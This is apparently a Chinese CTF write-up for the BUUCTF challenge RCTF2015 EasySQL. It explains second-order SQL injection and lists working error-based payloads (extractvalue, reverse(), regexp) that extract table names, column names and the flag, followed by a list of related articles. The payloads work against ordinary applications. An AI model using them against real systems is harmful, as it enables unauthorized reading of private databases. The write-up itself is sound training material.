【BUUCTF】[RCTF2015]EasySQL1

二次注入原理

是一种比较隐蔽的 SQL 注入类型

用户输入的数据先被存储到数据库中(此时可能未被恶意利用),后续应用程序从数据库中读取该数据并再次使用在 SQL 查询中,而此时就可能导致 SQL 注入问题。

如,用户注册时输入用户名 admin'-- ,这个数据被存储到数据库。之后,在修改密码等操作中,系统从数据库读取这个用户名并构建 SQL 语句,如 SELECT * FROM users WHERE username = '$username' ,这时就会引发注入。

进入题目页面,有登录、注册两个选择

先进入注册页面,尝试admin但是显示用户已存在

故随便输一个用户名密码邮箱

注册后进入登录页面,登陆后点击用户名可以看到change password

可以改密码,猜测是二次注入

在源码中发现应该是报错注入

利用字典爆破关键字看哪些被过滤了

extractvalue函数关键字未被注释,进行报错注入

爆出表名

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆出flag表的字段

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

爆出flag字段的内容

1"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

居然有诈qyq

试一试另一个表users

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

发现here只显示her,未全部显示,因为 extractvalue函数最多显示32位,故使用 reverse()函数,将回显结果倒置

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

爆出内容flag

采用正则注入

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

逆向输出

1"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

组合得到flag:flag{4acbc4b8-4f30-40ea-a840-98ac491a8b02}

相关推荐
PythonFun几秒前
如何在WPS实现平行语料库简易检索
数据库·wps
ruxshui1 分钟前
Inceptor/hive中整数类型分桶键数据倾斜问题及优化方案
大数据·数据库·sql
那起舞的日子2 分钟前
MySQL的深度分页及相关概念
mysql
OnYoung3 分钟前
Python生成器(Generator)与Yield关键字:惰性求值之美
jvm·数据库·python
卿着飞翔3 分钟前
ubuntu上的mysql远程连不上root
mysql·ubuntu·adb
黑贝是条狗4 分钟前
mormot2创建一个异步websocket服务端
网络·websocket·网络协议
ddlink_c4 分钟前
C1N短链接 - API接口 - 创建短链接
网络·经验分享
亚林瓜子9 分钟前
AWS中国云中的ETL之从Amazon Glue Data Catalog搬数据到MySQL(Glue版)
python·mysql·spark·etl·aws·glue·py
石像鬼₧魂石11 分钟前
网络安全渗透测试学习路线的核心技能阶段应该学习哪些知识
学习·安全·web安全
黑客老李12 分钟前
EDUSRC-支付类漏洞思路合集(包括证书,小通杀等实例)
网络·安全